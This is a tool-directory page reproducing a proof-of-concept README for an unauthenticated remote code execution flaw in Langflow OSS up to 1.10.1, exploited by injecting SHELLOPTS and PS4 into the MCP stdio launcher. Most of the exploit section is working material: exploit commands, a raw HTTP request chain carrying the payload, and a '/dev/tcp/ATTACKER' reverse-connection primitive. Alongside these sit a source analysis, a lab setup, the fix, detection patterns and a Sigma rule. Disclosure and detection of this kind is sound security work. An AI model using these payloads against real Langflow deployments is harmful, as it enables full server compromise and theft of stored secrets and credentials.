Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12940-Langflow-Unauth-RCE — CVE-2026-12940 — Langflow OSS <=1.10.1 unauthenticated RCE via MCP stdio environment-variable injection (SHELLOPTS/PS4). Author PoC + source analysis + lab. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-12940-langflow-unauth-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubbiitts/cve-2026-12940-langflow-unauth-rce

CVE-2026-12940-Langflow-Unauth-RCE

CVE-2026-12940 — Langflow OSS <=1.10.1 unauthenticated RCE via MCP stdio environment-variable injection (SHELLOPTS/PS4). Author PoC + source analysis + lab.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
117 days agoNot yet reviewed

CVE-2026-12940 — Langflow OSS ≤ 1.10.1 Unauthenticated RCE (MCP stdio env-var injection)

Unauthenticated remote code execution in Langflow OSS through 1.10.1. The environment-variable blocklist that guards MCP stdio server configuration (DANGEROUS_ENV_VARS) omits SHELLOPTS, BASHOPTS and PS4. Because the MCP stdio launcher runs the configured command through bash -c, an attacker can inject SHELLOPTS=xtrace plus a PS4 command substitution and execute arbitrary shell commands as the Langflow process user — no valid MCP command, no auth on a default install.

CVECVE-2026-12940
ProductLangflow OSS
Affected1.0.0 – 1.10.1
Fixed1.10.2
ClassOS Command Injection (CWE-78) via environment-variable injection
CVSS 3.19.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA)
AuthUnauthenticated on default install (AUTO_LOGIN on by default in 1.10.1)
StatusCONFIRMED VULNERABLE — verified end-to-end on langflowai/langflow:1.10.1

Root cause

Langflow lets a user register external MCP (Model Context Protocol) stdio servers via POST /api/v2/mcp/servers/{name}. The request body is validated by MCPServerConfig (src/backend/base/langflow/api/v2/schemas.py), which is careful about command, args and env keys:

  • command must be in an allowlist (node, python, npx, uvx, docker, sh, bash…).
  • args are scanned for shell metacharacters (;, |, $, `, (, ), …) and dangerous keywords (-c, , , …).

Two gaps combine into RCE:

  1. env values are never sanitized. Only the keys are checked against the blocklist; the values are passed through verbatim. So a PS4 value of $(id) survives even though the exact same characters would be rejected inside args.

  2. The blocklist is incomplete. In 1.10.1 DANGEROUS_ENV_VARS does not contain shellopts, bashopts or ps4.

The launcher (src/lfx/src/lfx/base/mcp/util.py) then runs, on Unix:

root@kitploit:~
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
    command="bash",
    args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
    env=env_data,
)

With SHELLOPTS=xtrace bash enables set -x at startup and, before executing the first traced line, expands the PS4 prompt. Command substitution inside PS4 therefore runs immediately — independent of command/args, which never even need to be valid.

The fix (1.10.2)

The blocklist is centralized in src/lfx/src/lfx/base/mcp/util.py as DANGEROUS_MCP_ENV_VARS and gains shellopts, bashopts, ps4 (plus env, defense-in-depth). schemas.py now calls is_dangerous_mcp_env_var(). The registration below is rejected with HTTP 422 on 1.10.2.

Proof of concept

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4    : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user

$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)

The raw HTTP chain:

root@kitploit:~
GET /api/v1/auto_login HTTP/1.1            → 200, {"access_token":"…"}   (default install, no creds)

POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json

{"command":"uvx","args":["mcp-server-fetch"],
 "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
                                            → 200 (accepted; LD_PRELOAD here → 422)

GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
                                            → 200, launcher spawns bash → PS4 runs `id`

--ps4 gives a raw primitive for reverse shells / OAST callbacks:

root@kitploit:~
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'

Reproduce the lab

root@kitploit:~
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
#   (this box has no docker bridge; --network host is required)
#   Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof

Fixed-version boundary (rejected):

root@kitploit:~
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS  →  HTTP 422
#   "Environment variable 'SHELLOPTS' is not allowed for security reasons"

See EVIDENCE.txt for the full captured transcript and ANALYSIS.md for the source-level walkthrough.

Verdict

CONFIRMED VULNERABLE on langflowai/langflow:1.10.1, verified by two independent techniques:

  1. File write with resolved output — a file that did not exist before the request contains uid=1000(user) gid=0(root) groups=0(root), the real output of id(1) resolved against the target's /etc/passwd. This is not an echo of the input string $(id …).
  2. Out-of-band TCP callback — the target dials back to an attacker listener carrying its real hostname and kernel (CALLBACK user@vbox 6.18.12+kali-amd64).

PATCHED on langflowai/langflow:1.10.2 — the same registration returns HTTP 422.

Note on the unauthenticated claim. The 1.10.1 image ships with AUTO_LOGIN enabled by default, so /api/v1/auto_login returns a superuser token to any caller with no credentials — that is what makes the full chain unauthenticated on a default deployment. On an instance where auth is enforced, the same RCE is reachable by any authenticated user with a valid token/API key (pass it via --token). The 1.10.2 image additionally requires credentials to start, an unrelated hardening.

Impact

Arbitrary command execution as the Langflow service account. Full read of every secret, credential and flow in the Langflow database, access to internal services and cloud metadata, and a pivot into the surrounding network.

Remediation

  • Upgrade to Langflow OSS ≥ 1.10.2.
  • Do not expose Langflow to untrusted networks with AUTO_LOGIN enabled; set explicit superuser credentials and disable auto-login.
  • Defense in depth: run the service under a restricted account with no outbound network egress.

Detection

Look for MCP server registrations whose env carries shell-control variables, and for bash children of the Langflow process:

root@kitploit:~
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …"  parented by the langflow/gunicorn worker

Sigma (process creation):

root@kitploit:~
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
  selection:
    Image|endswith: '/bash'
    CommandLine|contains: 'exec '
    ParentImage|contains: 'langflow'
  env_marker:
    CommandLine|contains:
      - 'SHELLOPTS'
      - 'PS4=$('
  condition: selection or env_marker
level: high

License

© Caio Fabrício (BiiTts).

Download Tool
eval
pip install
  • env keys are checked against DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …).